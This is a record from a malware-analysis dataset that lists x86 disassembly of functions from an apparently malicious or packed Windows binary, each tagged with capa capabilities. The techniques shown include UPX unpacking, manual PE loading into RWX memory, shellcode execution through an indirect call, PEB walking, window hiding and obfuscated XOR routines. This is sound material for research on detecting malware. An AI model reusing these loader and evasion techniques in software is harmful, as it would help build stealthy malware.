joyce8/EMBER2024-capa huggingface dataset:
Function at 0x47bf20
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6f000]
push edi
jmp 0x47bf3a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x47bf41
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x47bf30
mov eax, 1
add ebx, ebx
jne 0x47bf53
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x47bf64
jne 0x47bf83
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x47bf83
dec eax
add ebx, ebx
jne 0x47bf70
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x47bf48
add ebx, ebx
jne 0x47bf7f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x47bfd5
xor ecx, ecx
sub eax, 3
jb 0x47bf9b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x47c00a
sar eax, 1
mov ebp, eax
jmp 0x47bfa6
add ebx, ebx
jne 0x47bfa6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x47bf74
inc ecx
add ebx, ebx
jne 0x47bfb4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x47bf74
add ebx, ebx
jne 0x47bfc1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x47bfb6
jne 0x47bfd2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x47bfb6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x47bff4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x47bfe6
jmp 0x47bf36
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x47bff4
add edi, ecx
jmp 0x47bf36
pop esi
mov edi, esi
mov ecx, 0x91a
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x47c012
cmp byte [edi], 9
jne 0x47c012
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x47c017
lea edi, [esi + 0x79000]
mov eax, dword [edi]
or eax, eax
je 0x47c08f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xd9b2c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xd9c0c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x47c044
mov ecx, edi
jns 0x47c073
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xd9c14]
or eax, eax
je 0x47c089
mov dword [ebx], eax
add ebx, 4
jmp 0x47c061
call dword [esi + 0xd9c10]
mov ebp, dword [esi + 0xd9c18]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x17f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x47c0c3
sub esp, 0xffffff80
jmp 0x41382f
Function at 0x401020
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov ecx, dword [ebp + 0x104]
xor eax, eax
mov dword [ebp - 0xc], 0
cmp ax, word [ecx + 6]
jae 0x4010f5
push ebx
push esi
mov esi, dword [ebp + 0x44]
lea edx, [ecx + 0x10c]
lea eax, [ecx + 0x108]
push edi
lea ebx, [ecx + 0x100]
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea edi, [ecx + 0x104]
mov edx, dword [ebp - 4]
mov eax, dword [edx]
test eax, eax
jne 0x401094
test esi, esi
jle 0x4010d0
mov eax, dword [edi]
add eax, dword [ebp + 0x108]
push 0x40
push 0x1000
push esi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
push 0
push eax
mov dword [ebx], eax
call fcn.0040af50
jmp 0x4010c4
mov ecx, dword [edi]
add ecx, dword [ebp + 0x108]
push 0x40
push 0x1000
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
mov esi, eax
mov eax, dword [edx]
mov edx, dword [ecx]
add edx, dword [ebp + 8]
push eax
push edx
push esi
call fcn.0040d3e0
mov dword [ebx], esi
mov esi, dword [ebp + 0x44]
mov ecx, dword [ebp + 0x104]
add esp, 0xc
movzx edx, word [ecx + 6]
mov eax, 0x28
add dword [ebp - 4], eax
add dword [ebp - 8], eax
add edi, eax
add ebx, eax
mov eax, dword [ebp - 0xc]
inc eax
cmp eax, edx
mov dword [ebp - 0xc], eax
jl 0x401063
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4012f0
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
xor ecx, ecx
mov dword [ebp - 4], 0
cmp cx, word [eax + 6]
jae 0x4013f3
push ebx
push esi
push edi
lea esi, [eax + 0x100]
lea ebx, [eax + 0x108]
lea edi, [eax + 0x11c]
mov ecx, dword [edi]
test ecx, 0x2000000
jne 0x4013d4
xor eax, eax
test ecx, 0x4000000
je 0x40133e
mov eax, 0x200
test ecx, 0x20000000
je 0x40136e
test ecx, 0x40000000
je 0x40135e
test ecx, ecx
jns 0x401359
or eax, 0x80
jmp 0x401390
or eax, 0x20
jmp 0x401390
test ecx, ecx
jns 0x401369
or eax, 0x80
jmp 0x401390
or eax, 0x10
jmp 0x401390
test ecx, 0x40000000
je 0x401384
test ecx, ecx
jns 0x40137f
or eax, 4
jmp 0x401390
or eax, 2
jmp 0x401390
test ecx, ecx
jns 0x40138d
or eax, 8
jmp 0x401390
or eax, 1
test ecx, 0x4000000
je 0x40139d
or eax, 0x200
mov edx, dword [ebx]
test edx, edx
jne 0x4013d1
test cl, 0x40
je 0x4013b0
mov ecx, dword [ebp + 8]
mov ecx, dword [ecx + 0x20]
jmp 0x4013ba
test cl, cl
jns 0x4013d1
mov ecx, dword [ebp + 8]
mov ecx, dword [ecx + 0x24]
test ecx, ecx
jbe 0x4013d1
lea ecx, [ebp - 8]
push ecx
push eax
push edx
mov edx, dword [esi]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x4013f0
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
movzx edx, word [eax + 6]
inc ecx
add edi, 0x28
add ebx, 0x28
add esi, 0x28
cmp ecx, edx
mov dword [ebp - 4], ecx
jl 0x401321
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401400
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
mov eax, dword [0x41d004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov ecx, 0x10
mov esi, eax
lea edi, [ebp - 0x44]
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x5a4d
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x4c], 0
cmp word [ebp - 0x44], cx
jne 0x4015a5
mov edx, dword [ebp - 8]
lea esi, [eax + edx]
mov ecx, 0x3e
lea edi, [ebp - 0x14c]
rep movsd dword es:[edi], dword [esi]
cmp dword [ebp - 0x14c], 0x4550
jne 0x4015a5
mov edi, dword [ebp - 0xfc]
mov eax, dword [ebp - 0x118]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x40
push 0x2000
push edi
push eax
call esi
mov ebx, eax
mov dword [ebp - 0x50], ebx
test ebx, ebx
jne 0x40149f
push 0x40
push 0x2000
push edi
push eax
call esi
mov ebx, eax
mov dword [ebp - 0x50], ebx
test ebx, ebx
je 0x4015a5
push 0x40
push 0x1000
push edi
push ebx
call esi
mov edi, dword [ebp - 0xf8]
push 0x40
push 0x1000
push edi
push ebx
call esi
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x54]
add edi, ecx
push edi
mov esi, eax
push edx
push esi
call fcn.0040d3e0
mov eax, dword [ebp - 8]
add esp, 0xc
add eax, esi
push ebx
push eax
sub esp, 0xf8
mov edi, esp
mov ecx, 0x3e
lea esi, [ebp - 0x14c]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 0x54]
push ecx
mov dword [ebp - 0x48], eax
mov dword [eax + 0x34], ebx
call fcn.00401020
mov eax, dword [ebp + 0xc]
add esp, 0x104
test eax, eax
jne 0x40150d
mov dword [ebp + 0xc], ebx
mov eax, ebx
sub eax, dword [ebp - 0x118]
mov esi, dword [ebp - 0x48]
je 0x401524
push ebx
push eax
mov eax, esi
call fcn.00401110
add esp, 8
push ebx
mov eax, esi
call fcn.004011a0
add esp, 4
test eax, eax
jne 0x40154a
test ebx, ebx
je 0x40154a
mov edx, dword [ebp - 0xfc]
push 0x4000
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push esi
call fcn.004012f0
mov eax, dword [esi + 0x28]
add esp, 4
test eax, eax
je 0x401579
add eax, ebx
mov dword [ebp - 0x48], eax
je 0x401579
cmp eax, ebx
jbe 0x401579
pushal
push 0
push 1
push dword [ebp - 0x50]
mov eax, dword [ebp - 0x48]
call eax
mov dword [ebp - 0x4c], eax
popal
mov ebx, dword [ebp - 0x50]
cmp dword [ebp - 0x4c], 0
je 0x401592
mov eax, ebx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004026c0
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0xfc]
push 0x4000
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.004026c0
mov esp, ebp
pop ebp
ret

Function at 0x401730
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp edx, 1
jl 0x40175f
test esi, esi
je 0x40175f
xor ecx, ecx
test edx, edx
je 0x40175c
push edi
movzx edi, byte [ecx + esi]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x41ad30]
inc ecx
cmp ecx, edx
jne 0x401740
pop edi
not eax
ret
xor eax, eax
ret
Function at 0x4022c0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
add dword [fcn.00401e40], 0x32
sub esp, 0x1c
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x41ec48
xor eax, eax
push 0x67
push esi
mov dword [0x41ed18], 0
mov dword [0x41ed10], eax
mov dword [0x41ed14], eax
mov dword [0x41ede8], 1
call edi
push 0x64
push 0x41ed20
push 0x6d
push esi
call edi
mov eax, esi
call fcn.004023e0
push 0
push esi
push 0
push 0
push 0x12c
push 0x12c
push 0
push 0x80000000
push 0xcf0000
push 0x41ec48
push 0x41ed20
push 0
mov dword [0x41ec44], esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov edi, eax
test edi, edi
je 0x4023d5
push 0
push edi
call dword [sym.imp.USER32.dll_ShowWindow]
push edi
call dword [sym.imp.USER32.dll_UpdateWindow]
push 0x6d
push esi
call dword [sym.imp.USER32.dll_LoadAcceleratorsA]
mov edi, dword [sym.imp.USER32.dll_GetMessageA]
push 0
push 0
mov esi, eax
push 0
lea eax, [esp + 0x18]
push eax
call edi
test eax, eax
je 0x4023c8
mov ebx, dword [sym.imp.USER32.dll_TranslateAcceleratorA]
mov edi, edi
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0xc]
push ecx
push esi
push edx
call ebx
test eax, eax
jne 0x4023ae
push eax
push eax
push eax
mov eax, dword [esp + 0x18]
push eax
call fcn.004024c0
cmp dword [0x41ede8], 4
je 0x4023c8
push 0
push 0
push 0
lea ecx, [esp + 0x18]
push ecx
call edi
test eax, eax
jne 0x402390
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4024c0
Capabilities:
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x44c
mov eax, dword [0x41d004]
xor eax, esp
mov dword [esp + 0x448], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [esp + 0x50]
push eax
push 0x400
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
lea ecx, [esp + 0x68]
mov dword [esp + eax + 0x68], 0x74782d54
push ecx
mov byte [esp + eax + 0x70], bl
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
mov eax, dword [0x41ede8]
cmp eax, 1
jne 0x402543
cmp esi, 0xffffffff
jne 0x40259c
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [0x41ed18]
cmp eax, ecx
ja 0x402582
test ecx, ecx
jne 0x402582
mov eax, dword [0x41ede8]
cmp eax, 2
je 0x40259c
cmp eax, 4
jne 0x402520
mov ecx, dword [ebp + 0xc]
mov eax, ecx
sub eax, 2
je 0x402617
sub eax, 0xd
je 0x4025fd
sub eax, 0x102
je 0x4025df
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
push eax
push edx
push ecx
push edi
call dword [sym.imp.USER32.dll_DefWindowProcA]
mov ebx, eax
jmp 0x40261f
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 0xa
mov dword [0x41ed18], eax
xor eax, eax
mov dword [0x41ed10], eax
mov dword [0x41ed14], eax
mov ecx, dword [fcn.00401e40]
mov dword [0x41ede8], 3
mov eax, 0x41eab0
mov dword [eax], ecx
add eax, 4
dec ecx
cmp eax, 0x41ec40
jl 0x4025b1
call fcn.00401e40
mov edx, dword [esp + 0x18]
push 0
mov dword [0x41ec40], edx
mov dword [0x41ede8], 4
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [ebp + 0x10]
cmp ax, 0x69
je 0x40261f
mov ecx, dword [ebp + 0x14]
push ecx
push eax
push 0x111
push edi
call dword [sym.imp.USER32.dll_DefWindowProcA]
mov ebx, eax
jmp 0x40261f
lea edx, [esp + 0x10]
push edx
push edi
call dword [sym.imp.USER32.dll_BeginPaint]
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.USER32.dll_EndPaint]
jmp 0x40261f
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
mov ecx, dword [esp + 0x454]
pop edi
pop esi
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.004026c0
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4026c0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41d004]
jne 0x4026ca
repz ret
jmp fcn.00402eab
Function at 0x409f12
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00408714
and dword [ebp - 4], 0
cmp dword [0x41e96c], 0
mov ebx, eax
jne 0x409fc3
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40a074
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x419a48
push edi
call esi
test eax, eax
je 0x40a074
push eax
call fcn.004086a2
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x41e96c], eax
call esi
push eax
call fcn.004086a2
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x41e970], eax
call esi
push eax
call fcn.004086a2
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x41e974], eax
call esi
push eax
call fcn.004086a2
pop ecx
mov dword [0x41e97c], eax
test eax, eax
je 0x409fc3
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004086a2
pop ecx
mov dword [0x41e978], eax
mov eax, dword [0x41e978]
cmp eax, ebx
je 0x40a01b
cmp dword [0x41e97c], ebx
je 0x40a01b
push eax
call fcn.0040871d
push dword [0x41e97c]
mov esi, eax
call fcn.0040871d
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40a01b
test edi, edi
je 0x40a01b
call esi
test eax, eax
je 0x40a012
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40a012
test byte [ebp - 0xc], 1
jne 0x40a01b
or dword [ebp + 0x10], 0x200000
jmp 0x40a054
mov eax, dword [0x41e970]
cmp eax, ebx
je 0x40a054
push eax
call fcn.0040871d
pop ecx
test eax, eax
je 0x40a054
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40a054
mov eax, dword [0x41e974]
cmp eax, ebx
je 0x40a054
push eax
call fcn.0040871d
pop ecx
test eax, eax
je 0x40a054
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x41e96c]
call fcn.0040871d
pop ecx
test eax, eax
je 0x40a074
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40a076
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40041433
Capabilities:
Encode data using xor

Disassembly:
call 0x400413ac
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x400413dc
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x400413f8
xor edx, 0
jmp 0x40041403
xor edx, edx
jmp 0x4004141a
jmp 0x40041426
xor eax, eax
push 0x8427d7c0
call 0x40041433
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x4004146f
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x40041448
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x40041486
add eax, 0
jno 0x4004148b
add esi, 0
ret 0x10

Function at 0x400421f4
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x40042216
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x400423b8
cmp edi, dword [ebp + 0x10]
jb 0x400423b8
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.40041ce0
inc edi
jmp 0x4004229f
jmp 0x400422ac
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.40041ce0
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.40041ce0
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x40042300
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x400422e4
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.4004232e
add dword [eax], 0x39
jle 0x4004230a
sub al, 0xf5
mov ch, al
call fcn.40042343
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10
Function at 0x4004401b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x40044031
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x40044042
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.40044083
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx

Function at 0x400463ef
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x40046338
add ebx, 0
push ecx
call 0x4004634d
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x1008b2d5
sub ebx, dword [0x100aab14]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x100aab04
call fcn.40041e17
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.40041325
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x400464ab
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x400464ab
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x40046462
mov eax, 1
lock xchg dword [0x100aab10], eax
push 0x3dd1fc71
call 0x400463ef
push esi
add esp, 8
cmp eax, 0
jne 0x400463d8
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x400463fe
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x40046413
cmp ecx, edx
cmp eax, 0
je 0x40046438
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x40046422
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.40046451
dec eax
loope 0x40046454
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x100aab10], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x40046488
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x4004649d
jmp 0x400464a8
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x40046396
Function at 0x4004d510
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x4004d7e6
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x10097788
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x1008e74e
push 0xffffffffffffffff
call fcn.40044710
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x4004d57a
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.4004d592
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x4004d7da
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x4004d7ae
Function at 0x4005cfe0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x4005d002
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x4005d002
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x4005d002
ret
cmp word [ebx + 4], 0x14c
jne 0x4005d002
test word [ebx + 0x16], 2
je 0x4005d002
test word [ebx + 0x16], 0x100
je 0x4005d002
cmp word [ebx + 0x18], 0x10b
jne 0x4005d002
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x4005d002
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x4005d08e
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x4005d022
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.40043f6d
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x4005d002
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x4005d08e
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x4005d002
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x4005d002
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x4005d002
ret
cmp word [ebx + 4], 0x14c
jne 0x4005d002
test word [ebx + 0x16], 2
je 0x4005d002
test word [ebx + 0x16], 0x100
je 0x4005d002
cmp word [ebx + 0x18], 0x10b
jne 0x4005d002
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x4005d002
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x4005d08e
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x4005d022
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.40043f6d
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x4005d002
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8